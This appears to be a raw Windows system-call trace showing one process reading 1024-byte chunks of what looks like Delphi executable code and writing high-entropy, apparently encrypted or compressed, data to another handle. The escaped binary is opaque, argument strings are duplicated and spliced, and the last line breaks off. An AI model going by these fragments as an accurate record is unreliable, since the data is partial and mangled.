 01055  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\353y\232\10\351\274\305\372\300H\215\357\3\22|I&\377p&\346\26\7n9\331pL\362H\230"z\311\5\240b\274\21\3(\4X\323\276\271\224j\266\233\11\14\301\362\244\375\226a\207\3100\315\313lL\217\24\277\3174\367\234\324\243\26\266\212\302\35\302c\17\357\200=\273\227\1\330\16\374\256\216IK\265\10#\315\346B\11\225\10h\204\265\276\266\31\234\335\313\12\312\337\317\223\207\276\5}b\2W@\242\233X\224\310t\314\374\265a\300\354\306\261/\354\252\34\304-W\327S\350\302\204\30`W\4\254'\376\374\323\1^\362\365\330\33\245|'\305\326\35x\2\267\374\353W\340:\256<\300\271\225\242\300\235\376\321\335\3313\12H\365CE[\216\227\347\263\316\344A3\311\16$\330\256\235()\2008+@\34`\302\23\257\365\246B\272\213\373Z\377\306\202\251<\322\371sM\272\322\0\303k\276\31'N\362\226\314\377<\311\351+K\351\233\264\7\227U\261\301b\306>Mw\250\322\34\31\26\232H\326\255\3744\201\236n29\226B\1B\7fkG\256^\375\202g\303H@,\20\2250Z\225\21\361x\13\235\246( \11\374\315\311\10Dn!H\303R\36\231d\324\0\23\25\321\261\23\225\253H\232\11{l\341\251RWbV\321\304\350$Ds\201fQI\21\367\315{\207\14\362\314F\214??0\225#C\20\35\361\201j\263>0h\4\235tK\276\205\301\222\242,\352\177\304\310\305ZL\364\235\274\2425j\227[\227i\205\207y\333R\313\247S\321\355P\320\213\22\363z\3430r\1c\3\16p\332!\330\260\260\201\235\267\253\224\200\243\363\26\271_9\314\33>h\371mf8\177{<\35322\7\267\30\204~I4l\274SoE\5\315\251/\220\303\362PrAn_\253:\263\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) z\311\5\240b\274\21\3(\4X\323\276\271\224j\266\233\11\14\301\362\244\375\226a\207\3100\315\313lL\217\24\277\3174\367\234\324\243\26\266\212\302\35\302c\17\357\200=\273\227\1\330\16\374\256\216IK\265\10#\315\346B\11\225\10h\204\265\276\266\31\234\335\313\12\312\337\317\223\207\276\5}b\2W@\242\233X\224\310t\314\374\265a\300\354\306\261/\354\252\34\304-W\327S\350\302\204\30`W\4\254'\376\374\323\1^\362\365\330\33\245|'\305\326\35x\2\267\374\353W\340:\256<\300\271\225\242\300\235\376\321\335\3313\12H\365CE[\216\227\347\263\316\344A3\311\16$\330\256\235()\2008+@\34`\302\23\257\365\246B\272\213\373Z\377\306\202\251<\322\371sM\272\322\0\303k\276\31'N\362\226\314\377<\311\351+K\351\233\264\7\227U\261\301b\306>Mw\250\322\34\31\26\232H\326\255\3744\201\236n29\226B\1B\7fkG\256^\375\202g\303H@,\20\2250Z\225\21\361x\13\235\246( \11\374\315\311\10Dn!H\303R\36\231d\324\0\23\25\321\261\23\225\253H\232\11{l\341\251RWbV\321\304\350$Ds\201fQI\21\367\315{\207\14\362\314F\214??0\225#C\20\35\361\201j\263>0h\4\235tK\276\205\301\222\242,\352\177\304\310\305ZL\364\235\274\2425j\227[\227i\205\207y\333R\313\247S\321\355P\320\213\22\363z\3430r\1c\3\16p\332!\330\260\260\201\235\267\253\224\200\243\363\26\271_9\314\33>h\371mf8\177{<\35322\7\267\30\204~I4l\274SoE\5\315\251/\220\303\362PrAn_\253:\263\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01056  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\30\0\0\0\200]\1@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\16\0\0\0\0\0\2\0\0\0\0\20\0@\20\0\0\0\0\20\0@\24\0\0\0\15EOleException\377\377\377\377\11\0\0\0Apartment\0\0\0\377\377\377\377\4\0\0\0Free\0\0\0\0\377\377\377\377\4\0\0\0Both\0\0\0\0\377\377\377\377\7\0\0\0Neutral\0SV\213\332\213\360\213\303\213\326\3505\352\376\377\213\3\350~!\377\377\213\360\353\33\213\3\350\223\356\376\377\213\326+\320\213\303\350\264\360\376\377\213\3\350a!\377\377\213\360\213\3\350t\354\376\377\205\300~\13\17\266\6,!r\323,\15t\317^[\303\213\300U\213\354\203\304\354SVW3\333\211]\364\211]\374\204\322t\10\203\304\360\350/\340\376\377\213\371\210U\373\213\330\213u\143\300Uh\216_\1@d\3770d\211 \215E\374\213\327\350\371\351\376\377\203}\374\0u4\215U\374\213\306\350\351H\377\377\203}\374\0u$j\0\215U\364\241\10\257\1@\350\250\3\377\377\213U\364\211u\354\306E\360\0\215M\354\215E\374\350\203'\377\377\213E\10P\213M\3743\322\213\303\350OR\377\377\211s\143\300ZYYd\211\20h\225_\1@\215E\364\350\377\350\376\377\215E\374\350\367\350\376\377\303\351q\342\376\377\353\350\213\303\200}\373\0t\17\350\346\337\376\377d\217\5\0\0\0\0\203\304\14\213\303_^[\213\345]\302\10\0\220U\213\354j\0SVW\204\322t\10\203\304\360\350d\337\376\377\213\361\213\332\213\3703\300Uh*`\1@d\3770d\211 \213E\24P\213E\10P\215U\374\213\306\350\242\376\377\377\213M", ) , ) == 0x0
 01057  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\201\243L]\32m\372\316\200g\317\315\210Rt\7\235\335\263\13,\272\325.\254B\245\223\311\372n\242ps\20\330r&\227\366/q60\370\313\316\373S]L%\354\232\\276\211\271\247\371\26'\177u\26\352i&+\15n?z\21\210\205@Qd\350\17\377\217)\325\257j\204\17O\16\341\347\354\341\231EFc4\255\177>&\253%\311%K5\3726\235<\316\211\207!\0\313\15a7\352 goej<\376\276,\255\336a,^\34K\277.\15f\236zKKq\6\337k\23\3539\263yr\217)\273\320\273\242\303\352\356\265\335\320~\322rw\31\165\374\22\22\322\20w\341-\317\33\203\311\362\32\273\25\203\346t\243I\354\305\304h\236\325PA\333A,y\243y \334\301\272\301\267\203'\257\260f\\234\273o\264I\3\273=\362\377\3\20#tZ\361g\303\272\347\320\16\>\312\206YX6\354\220\277\34\316\360\246B\306\3223\365\246\222\233\0\346\200\320\14\220\270\221\246\22\272\314\236#\261\345\263\310\237G\336_bde\216\246\202\302\372\27\36\260\36p\342\342\300\300'.q\305\357\326\275L\252\361\355\357=\342\240\35l\272et\202\12\277T\247\20\251\310\240\370G\2727\305\342j\376g\215\3758I\342\347I\316\300\240\301i\341qx\310\\3732\206\334\365I\212\237)\6L\322{,!\361\206?\344\276\316\3061\310\327\350\344\346\314\226\341#&\200\320K\343B\235\335e0\0\377N\272t\212r\354S\347\365\303YT\320\212~$B\204T\301l!fU\277"[\12\352\310z\305\207!s\336\1\23\334R\21T<\240\231eu\346^\321p\27z\211\321K\0\273\3100\2017[:(\2471:\21\332\253\225*\222\334\300\4\245+}\34*\335\334\320\353s\202H", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) [\12\352\310z\305\207!s\336\1\23\334R\21T<\240\231eu\346^\321p\27z\211\321K\0\273\3100\2017[:(\2471:\21\332\253\225*\222\334\300\4\245+}\34*\335\334\320\353s\202H", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01058  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "E\350\213U\370\350\2\351\376\377\213E\350P\215E\344\213U\360\350\363\350\376\377\213E\344P\213E\354P\215E\340\213U\364\350\340\350\376\377\213M\340\262\1\241\334]\1@\350}\375\377\377\351\244\340\376\3773\300ZYYd\211\20hwb\1@\215E\340\272\3\0\0\0\350N\346\376\377\215E\360\272\3\0\0\0\350\271\355\376\377\215E\374\350\225\377\376\377\303\351\217\337\376\377\353\326^[\213\345]\303\215@\0U\213\354\201\304\260\371\377\377SVW\211M\330\213\362\211E\334\215E\340\213\25\274j\0@\350b\357\376\3773\300Uh\253e\1@d\3770d\211 3\300\211E\3203\311Uh\210e\1@d\3771d\211!\17\266~\1\203\377@~\27\213\15d\257\1@\262\1\241\334]\1@\350\16N\377\377\350\1\340\376\377\205\377\17\204\301\1\0\0\213E\14\211E\314\213\307\3\300\215\204\305\260\371\377\377\211E\3103\333\203m\310\20\17\266D\36\3\213\320\200\342\177\17\266\322\211U\324$\200\203}\324\12u\30\213E\310\307\0\12\0\0\0\213E\310\307@\10\4\0\2\200\351n\1\0\0\203}\324Hut\213U\320\215\224\325\260\375\377\377\211U\304\204\300t0\213E\314\213\0\213\0\350\34\363\376\377\213U\304\211\2\213E\314\213\0\213U\304\211B\4\213E\310\307\0\10@\0\0\213E\304\213U\310\211B\10\353+\213E\314\213\0\350\356\362\376\377\213U\304\211\2\213E\3043\322\211P\4\213E\310\307\0\10\0\0\0\213E\304\213\0\213U\310\211B\10\377E\320\351\360\0\0\0\204\300tE\203}\324\14u"\213E\314\213\0f\2018\0\1u\26\213E\314\213\0\213\320\213E\314\213\0\271\10\0\0\0\350\361\205\377\377\213E\324\15\0@\0\0\213U\310\211\2\213E\314\213\0\213U\310\211B\10\351", ) \213E\314\213\0f\2018\0\1u\26\213E\314\213\0\213\320\213E\314\213\0\271\10\0\0\0\350\361\205\377\377\213E\324\15\0@\0\0\213U\310\211\2\213E\314\213\0\213U\310\211B\10\351", ) == 0x0
 01059  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "X\346{\245g\22\233z [\250e)\325\223\375!\265h\177N\340\250\20\214Mv\6\251\271'\364\267w\314\30\34\307*\225\322\5\31\210\273\277\314g\252\326\20n\256^\330\177x\354\261k\36RZ\202-\377\204O2\240ve\363a\327xxYr\260\231\246n\231\333\333\233\15\253\343\303\304@\245)`v$e\253F\12\212\246\325|(\250'\207\356co\262\211o\25\344\341L$H\247\205\330|\252\177\305\4\206\227\5\210\362_\20\302>$\353\261(\224\312\323[\347\32cI\241v\244\365\337\261^G\266x*\2\240)\221\306\254\35\224\373\265\330|\3725\246\300\271>\371\377\216\301z\214\315_\312h\26Q*:jYm\362-N\1017\377 -\377R\301\307Q\3057\322\320L\237F\344+R\373\22\332;\253,/?\363T\300Tg&}\34\2\312\27_\374X\311\365\15\374^\25\17\345\373\322a^\2456\356]\251\20703\367\274M^0\26r\247|\346c\310\337\362\207\255\253\372\256\215\317xY\217\16\302\350z\314\374)\1\7T>6\340\345`T$C{`\224\220\302\330\353.S\373\316j\222S\250\223\215[n\226\33\340m\373c\37\2332\265\254\255B&\213r\264\257\3122\221\272\347'\230g\22\7^\236^q\244\257%4ii@O\374\7\360_\247\2.\344\353(J\336\266l\220\335\23\241\12\3169VQ\276w?~i\343+\2309\266\256\346\262\333\25\2", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) e\253F\12\212\246\325|(\250'\207\356co\262\211o\25\344\341L$H\247\205\330|\252\177\305\4\206\227\5\210\362_\20\302>$\353\261(\224\312\323[\347\32cI\241v\244\365\337\261^G\266x*\2\240)\221\306\254\35\224\373\265\330|\3725\246\300\271>\371\377\216\301z\214\315_\312h\26Q*:jYm\362-N\1017\377 -\377R\301\307Q\3057\322\320L\237F\344+R\373\22\332;\253,/?\363T\300Tg&}\34\2\312\27_\374X\311\365\15\374^\25\17\345\373\322a^\2456\356]\251\20703\367\274M^0\26r\247|\346c\310\337\362\207\255\253\372\256\215\317xY\217\16\302\350z\314\374)\1\7T>6\340\345`T$C{`\224\220\302\330\353.S\373\316j\222S\250\223\215[n\226\33\340m\373c\37\2332\265\254\255B&\213r\264\257\3122\221\272\347'\230g\22\7^\236^q\244\257%4ii@O\374\7\360_\247\2.\344\353(J\336\266l\220\335\23\241\12\3169VQ\276w?~i\343+\2309\266\256\346\262\333\25\2", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01060  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "E\344\213]\3743\377\211e\370\213E\364@\301\340\2)\304\215E\360\211 \213\303\350=\33\377\377\213\360j\0j\0VSj\0j\0\350\340\377\376\377@\211E\354\213E\354\1\300\203\300\3\203\340\374)\304\215E\350\211 \205\377u\12\213E\360\213U\350\211\20\353\16\213E\364+\307\213U\360\213M\350\211\14\202\213E\354P\213E\350PVSj\0j\0\350\233\377\376\377\213E\350\213U\354f\307DP\376\0\0F\3\336G;}\364u\215\213E\10P\3504\377\376\377P\213E\364P\213E\360P\241\250\257\1@P\213E\344P\213\0\377P\24=\6\0\2\200u\11U\350\3\377\377\377Y\353\5\350\253\371\377\377\213e\370_^[\213\345]\302\4\0\215@\0\213\15|\260\1@\262\1\241(]\1@\350\12J\377\377\350\375\333\376\377\303U\213\354\201\304\374\376\377\377SV\213]\20\213E\14\213u\10\200{\1@v\27\213\15d\257\1@\262\1\241(]\1@\350\330I\377\377\350\313\333\376\377\17\267\20f\203\372\11u\10\213@\10\211E\374\353\26f\201\372\11@u\12\213@\10\213\0\211E\374\353\5\350\220\377\377\377\215\205\374\376\377\377P\17\266K\2A\17\266C\1\215T\3\3\213E\374\350\224\376\377\377\205\366t\7\213\306\350q|\377\377\213E\24PV\215\215\374\376\377\377\213\323\213E\374\350\4\373\377\377^[\213\345]\303\213\300U\213\354j\0j\0j\0j\0SV\211M\374\213\3323\322UhIh\1@d\3772d\211"=\11\0\2\200uW\213C\34P\215E\370\213S\4\350R\343\376\377\213E\370P\215E\364\213S\14\350C\343\376\377\213E\364P\213C\20P\215E\360\213S\10\3500\343\376\377\213M\360\262\1\241\334]\1@\350\315\367\377\377\213\360\200}\10\0t"\213", ) =\11\0\2\200uW\213C\34P\215E\370\213S\4\350R\343\376\377\213E\370P\215E\364\213S\14\350C\343\376\377\213E\364P\213C\20P\215E\360\213S\10\3500\343\376\377\213M\360\262\1\241\334]\1@\350\315\367\377\377\213\360\200}\10\0t (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "E\344\213]\3743\377\211e\370\213E\364@\301\340\2)\304\215E\360\211 \213\303\350=\33\377\377\213\360j\0j\0VSj\0j\0\350\340\377\376\377@\211E\354\213E\354\1\300\203\300\3\203\340\374)\304\215E\350\211 \205\377u\12\213E\360\213U\350\211\20\353\16\213E\364+\307\213U\360\213M\350\211\14\202\213E\354P\213E\350PVSj\0j\0\350\233\377\376\377\213E\350\213U\354f\307DP\376\0\0F\3\336G;}\364u\215\213E\10P\3504\377\376\377P\213E\364P\213E\360P\241\250\257\1@P\213E\344P\213\0\377P\24=\6\0\2\200u\11U\350\3\377\377\377Y\353\5\350\253\371\377\377\213e\370_^[\213\345]\302\4\0\215@\0\213\15|\260\1@\262\1\241(]\1@\350\12J\377\377\350\375\333\376\377\303U\213\354\201\304\374\376\377\377SV\213]\20\213E\14\213u\10\200{\1@v\27\213\15d\257\1@\262\1\241(]\1@\350\330I\377\377\350\313\333\376\377\17\267\20f\203\372\11u\10\213@\10\211E\374\353\26f\201\372\11@u\12\213@\10\213\0\211E\374\353\5\350\220\377\377\377\215\205\374\376\377\377P\17\266K\2A\17\266C\1\215T\3\3\213E\374\350\224\376\377\377\205\366t\7\213\306\350q|\377\377\213E\24PV\215\215\374\376\377\377\213\323\213E\374\350\4\373\377\377^[\213\345]\303\213\300U\213\354j\0j\0j\0j\0SV\211M\374\213\3323\322UhIh\1@d\3772d\211"=\11\0\2\200uW\213C\34P\215E\370\213S\4\350R\343\376\377\213E\370P\215E\364\213S\14\350C\343\376\377\213E\364P\213C\20P\215E\360\213S\10\3500\343\376\377\213M\360\262\1\241\334]\1@\350\315\367\377\377\213\360\200}\10\0t"\213", ) , ) == 0x0
 01061  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\326\372\311\222\244\32\363'\36\300\260\23\324\14\262E\314\12\214\3751xu\207\274\7M\273\214v\6\360:\253\264_\303UzRw\332\253\371\36\2025\2618\223\301H\234\13\314\3\317\32\316\233\304\240\201\230\27\312\306\376\342\3703\12z\244\24\257\346\314D\216\203\31@\255\201\333\20^zU+$W0\11*\302\243k\241\300\222\2t\34H\345m#\367\316!t\265\243n[NG\264L\332\17x\315d\304p\354\221\14\266J\203\274J\277\361~V\241gm\213\247\314f\2768j\254j\6,\303\14\306\32k\247f3\235\273u\345f\6}\344%\271\177\370\37\203LV\37 \3316bZ\363\256\343\25=\335G\350x\31\206\235\15\314\23L\25^Fc.=\5\335\357\20"\332\275h\312B\367C\266$m\5}\312\262\350\313\271\325b\211d\222]w\220i\314\346\252\212^\261\246\377\377\250\327\13\4\344\231\337\233\201:\372E&o\354\312\340\357V@\365\24E\333~!\370CM#;\177\245j~\14$\374\2555\266,\255\362j\37\10x}\206\357\23\15\355\353\332\215\273\304\356Hy\360\224\226\315P\1+; \24\354\317Se\366\244C\224\275`~\2\225\273XO\16\3224l\247\336\363A\272\263UM\2431c9\305\251\254o\3578xB\23\304\205\30\345/u\277[\377K\305\310#i\246\351\230\177\376Z\222\241\26\2316vn;?\270&Z\246\357o7BP\276\246\307\261\22\351\12\324\361\316\277\275\275\13\222\263\350\200i\1\361\361bcx\216\207\352\214\203\236\354kjj'\2038\262U2\20\266\215`\253K\247\36?\237\304\231L\35<7\203\276o\364\211\352\346\242\241~\1&v\312\374\332\32\201}x\352F\35\306\353\204\246\34\206K\33\341\333\261\233G\374\360\302\371\243AFM\211\377", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \332\275h\312B\367C\266$m\5}\312\262\350\313\271\325b\211d\222]w\220i\314\346\252\212^\261\246\377\377\250\327\13\4\344\231\337\233\201:\372E&o\354\312\340\357V@\365\24E\333~!\370CM#;\177\245j~\14$\374\2555\266,\255\362j\37\10x}\206\357\23\15\355\353\332\215\273\304\356Hy\360\224\226\315P\1+; \24\354\317Se\366\244C\224\275`~\2\225\273XO\16\3224l\247\336\363A\272\263UM\2431c9\305\251\254o\3578xB\23\304\205\30\345/u\277[\377K\305\310#i\246\351\230\177\376Z\222\241\26\2316vn;?\270&Z\246\357o7BP\276\246\307\261\22\351\12\324\361\316\277\275\275\13\222\263\350\200i\1\361\361bcx\216\207\352\214\203\236\354kjj'\2038\262U2\20\266\215`\253K\247\36?\237\304\231L\35<7\203\276o\364\211\352\346\242\241~\1&v\312\374\332\32\201}x\352F\35\306\353\204\246\34\206K\33\341\333\261\233G\374\360\302\371\243AFM\211\377", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01062  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "D$\10\211\3\353'\211\330\350\312y\377\377\213\4$\211\3\213D$\4\211C\4\213D$\10\211C\10\213D$\14\211C\14\353\4\213D$\10\203\304\20[]\303\203=p\363\1@\0t\6\377\25p\363\1@\203=\240\255\1@\377tO\203=\214\255\1@\0tF\241\240\255\1@Pj\0\377\25\214\255\1@\251\0\0\0\200\17\224\300\242t\363\1@\241 \257\1@\2008\0u\26\366\5\240\255\1@\2u\15\203=\240\255\1@\0t\43\300\353\2\260\1\213\25 \257\1@\210\2\303j\0\350N\0\377\377\251\0\0\0\200\17\224\300\242t\363\1@\303U\213\3543\300Uh&k\1@d\3770d\211 \377\5d\363\1@uO\306\5h\363\1@\1\241l\363\1@\350\16\322\376\377\241T\260\1@3\322\211\20\241\370\256\1@3\322\211\20\241,\260\1@3\322\211\20\200=t\363\1@\0t\5\350\365\377\376\377\270\244\255\1@\271\5\0\0\0\213\25\0\20\0@\350\374\347\376\3773\300ZYYd\211\20h-k\1@\303\351\331\326\376\377\353\370]\303\220\377%hF\2@\213\300\205\300t\5\203\350\4\213\0\303\213\300U\213\354\203\304\370SVW\213u\10\213E\14\350\340\341\376\3773\300Uh\361k\1@d\3770d\211 \213E\14\350\312\377\377\377\213\330\203\373\4v_\215E\14\350#\342\376\377\213\370\213\27\213\306\350\354\343\376\377\201?\0\0\10\0v\11\307E\370\2\0\0\0\353\7\307E\370\2\1\0\0\215E\374P\203\353\4S\215E\14\350\360\341\376\377\203\300\4P\213\7P\213\306\350\342\341\376\377P\213E\370P\350h\377\377\377\213\306\213U\374\350\242\343\376\377\353\7\213\306\350\251\334\376\3773\300ZYYd\211\20h\370k\1@\215E\14\350\224\334\376\377\303\351\16\326", ) , ) == 0x0
 01063  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\233\26\357\262Mmr\35\234\304\17\216\226Gf\34)`\266L\333h\22\34H\336=\324\4x\214\260\20\336\204\316/\3"}\3173\15a\272\15\325\330^\301>\340~);\356\273\314-y\3234Yr\277\310\232;\355P0\220\247\317\10\177\303)\336\233\351\303\1R\316g\10\23\307a\314|\350\351\330\25ja\360\304\303B \331^\266\231\344'\216\275\4\261\35\11\240\2679cYs\22\322i\2\27qH\254\32\343\207\6\354\345\215&\227Y)D\261!H\217i\372\210\3055\276P\37&\222G8_d\350\234\226\4\235\216\256RU}\2753+\261)\273\255.F&\227F\325.\240\316\337\257\301N\373\201ow\326\326\210\323;\255\217h*\224j\35\203\225c\231\35F\12\3636\272\363\5\26%$(p\304y\205\275K$ve\310\202U\247\221\36\265\363\217\217;/\36#\327\361)\10\271\2779#\326,R\312\365(\230Za-\272(\6\245\317P\330FS\37\217M\351\314;\314\212d\340\341;Z\267q\203\373\273\3171u\245\36\37X\274\10R\322\376\336L\214q(b\\277b\357\1\377\377\221\374#\262\205\326@A\275G\270)|\215\317&\256&\277\17w\251\226\256xf\366\23\364\236I\375F$\252\345\346a\35\267\250Fz\221\244\354=YN\360\3660\242\371\2725DKYx\216\332l<\257r\247\377_&"\221\375\313\200*\303 \335\331\313\11o\213\251\210\300\235\225X3.\310`\362\374\16\357\227\232\214\355"\6w5\22\5YI:'#\276\256\224\333* \225u\205\307V.y\5\364\20h$\246|\1_\346\7J\212\345\341\250\315\301j~\31\177P\222\325o\213;\25\233;\324\302\307\303z;\206\314GR\214\33B\253\302{~\312w\5K\206\37\372\255W\352\207", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) }\3173\15a\272\15\325\330^\301>\340~);\356\273\314-y\3234Yr\277\310\232;\355P0\220\247\317\10\177\303)\336\233\351\303\1R\316g\10\23\307a\314|\350\351\330\25ja\360\304\303B \331^\266\231\344'\216\275\4\261\35\11\240\2679cYs\22\322i\2\27qH\254\32\343\207\6\354\345\215&\227Y)D\261!H\217i\372\210\3055\276P\37&\222G8_d\350\234\226\4\235\216\256RU}\2753+\261)\273\255.F&\227F\325.\240\316\337\257\301N\373\201ow\326\326\210\323;\255\217h*\224j\35\203\225c\231\35F\12\3636\272\363\5\26%$(p\304y\205\275K$ve\310\202U\247\221\36\265\363\217\217;/\36#\327\361)\10\271\2779#\326,R\312\365(\230Za-\272(\6\245\317P\330FS\37\217M\351\314;\314\212d\340\341;Z\267q\203\373\273\3171u\245\36\37X\274\10R\322\376\336L\214q(b\\277b\357\1\377\377\221\374#\262\205\326@A\275G\270)|\215\317&\256&\277\17w\251\226\256xf\366\23\364\236I\375F$\252\345\346a\35\267\250Fz\221\244\354=YN\360\3660\242\371\2725DKYx\216\332l<\257r\247\377_& (92, 0, 0, 0, "\233\26\357\262Mmr\35\234\304\17\216\226Gf\34)`\266L\333h\22\34H\336=\324\4x\214\260\20\336\204\316/\3"}\3173\15a\272\15\325\330^\301>\340~);\356\273\314-y\3234Yr\277\310\232;\355P0\220\247\317\10\177\303)\336\233\351\303\1R\316g\10\23\307a\314|\350\351\330\25ja\360\304\303B \331^\266\231\344'\216\275\4\261\35\11\240\2679cYs\22\322i\2\27qH\254\32\343\207\6\354\345\215&\227Y)D\261!H\217i\372\210\3055\276P\37&\222G8_d\350\234\226\4\235\216\256RU}\2753+\261)\273\255.F&\227F\325.\240\316\337\257\301N\373\201ow\326\326\210\323;\255\217h*\224j\35\203\225c\231\35F\12\3636\272\363\5\26%$(p\304y\205\275K$ve\310\202U\247\221\36\265\363\217\217;/\36#\327\361)\10\271\2779#\326,R\312\365(\230Za-\272(\6\245\317P\330FS\37\217M\351\314;\314\212d\340\341;Z\267q\203\373\273\3171u\245\36\37X\274\10R\322\376\336L\214q(b\\277b\357\1\377\377\221\374#\262\205\326@A\275G\270)|\215\317&\256&\277\17w\251\226\256xf\366\23\364\236I\375F$\252\345\346a\35\267\250Fz\221\244\354=YN\360\3660\242\371\2725DKYx\216\332l<\257r\247\377_&"\221\375\313\200*\303 \335\331\313\11o\213\251\210\300\235\225X3.\310`\362\374\16\357\227\232\214\355"\6w5\22\5YI:'#\276\256\224\333* \225u\205\307V.y\5\364\20h$\246|\1_\346\7J\212\345\341\250\315\301j~\31\177P\222\325o\213;\25\233;\324\302\307\303z;\206\314GR\214\33B\253\302{~\312w\5K\206\37\372\255W\352\207", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \6w5\22\5YI:'#\276\256\224\333* \225u\205\307V.y\5\364\20h$\246|\1_\346\7J\212\345\341\250\315\301j~\31\177P\222\325o\213;\25\233;\324\302\307\303z;\206\314GR\214\33B\253\302{~\312w\5K\206\37\372\255W\352\207", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01064  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "m\1@\350 \355\376\377\203\304\4\351\321\0\0\0\215E\354P\213U\370\270xo\1@\350\17\340\376\377\213\310I\272\1\0\0\0\213E\370\350w\337\376\377\213E\354\350\33\377\377\377\213\330\213U\370\270xo\1@\350\350\337\376\377\213\310\215E\370\272\1\0\0\0\350\221\337\376\377\215E\350P\213U\370\270\204o\1@\350\310\337\376\377\213\310I\272\1\0\0\0\213E\370\3500\337\376\377\213E\350\350\324\376\377\377\213\360\213U\370\270\204o\1@\350\241\337\376\377\213\310\215E\370\272\1\0\0\0\350J\337\376\377;\373\177\32\215{\1W\215E\364\271\1\0\0\0\213\25`m\1@\350o\354\376\377\203\304\4\213E\364\215\4\230P\213\316\272\1\0\0\0\213E\374\350\326\336\376\377\215E\374\213\316\272\1\0\0\0\350\7\337\376\377\213U\370\270\204o\1@\350B\337\376\377\205\300\17\217\32\377\377\377\213E\360\350\206\331\376\377\213\337K\205\333|\30C3\366\213E\360\213U\364\213\24\262\350:\334\376\377\213E\360FKu\3533\300ZYYd\211\20hZo\1@\215E\350\272\2\0\0\0\350q\331\376\377\215E\364\213\25`m\1@\350\357\353\376\377\215E\370\272\2\0\0\0\350V\331\376\377\303\351\254\322\376\377\353\320_^[\213\345]\303\0\0\0\377\377\377\377\1\0\0\0\1\0\0\0\377\377\377\377\1\0\0\0:\0\0\0\377\377\377\377\1\0\0\0;\0\0\0SV\213\360j\12R\241\370\347\1@P\350\236\365\376\377\213\330S\241\370\347\1@P\350\220\366\376\377\211\6S\241\370\347\1@P\350B\366\376\377\213\330S\350B\366\376\377\213\360\205\366t\10S\350\206\365\376\377\353\7j\0\350]\365\376\377\213\306^[\303U\213\354\203\304\370SVW\213\312\205\311x\12\301\351\2\213\34\210ISy\371\213\304\211", ) , ) == 0x0
 01065  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\313\372\262.\223\13\323\310aZ7=P\317\12qJ\303\370\2119\210\237\222\271\226\324~\205\247\230;\363*]\243\273n\2576\363\204S\3746\256\307q\357fNj\333[T*P;J\215\337X\361h\356\333\3479_\0t#$\323u\304,\371\206L\347\207\245\233LB\2Uj\216\25\244\225\326\350\3'C!\371\16\16\225)\5\273&\24\354\246\257\312\\37.\24$\234\274\310K\37Y\2507W\337\334\325\274'\273\313\10b\211\227P\201\277\230\7G\5\267\204"\216E\351\3537\4\22\336\2070\312U\6m\320e\13d\342\30\233\366\322'*\327\275z\304\332\326s\371\350\265h\217\370p\341\234\333.\177\34\306\15\275\5\323\240\261zh\300\24\327\241?#\241B\}\17\231c[\27\17\237\320\213\13gP\222\23X\345|T"\232\17\374\270\317\335g~\237\372$~\227\6""U\275\211,T\361\236\301\27\263k\313\320?\271h\0\262\255\300\244][i7\270\32\374\272\350\3L-d\206\2 \363V\242\312\3206\32\366\33\22\362i%\5E\3\33R\372=\316\264\23P\247u\4\201D\307\23\16\275\374\225 \332\334\207\350c\223\271\330J\12\247\342F\215\254\352r\25\7GrZ9\267\200\223+\3713O\376z\376\316\247\242\34\32\255\271l\230N\203\320\377\367\17\35\7\313RF\363Gb:2\145\34\306\2244\266<\367\372\347*\341\214\334gVN\15\233\34\212\347\342@\367t\374 \224\13\201CO\32\257\306G,=\6\376cw\20\3723Q\310\273\330\373M\265VYo\232\360{.\344\266\253\177\265\262\364\206\352\253\370\244~\306\2327\370\10y\216\365\215p\277\217b\237_\246)\234(\257\32\327\344\251Gk\316\33\332\222", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \216E\351\3537\4\22\336\2070\312U\6m\320e\13d\342\30\233\366\322'*\327\275z\304\332\326s\371\350\265h\217\370p\341\234\333.\177\34\306\15\275\5\323\240\261zh\300\24\327\241?#\241B\}\17\231c[\27\17\237\320\213\13gP\222\23X\345|T (92, 0, 0, 0, 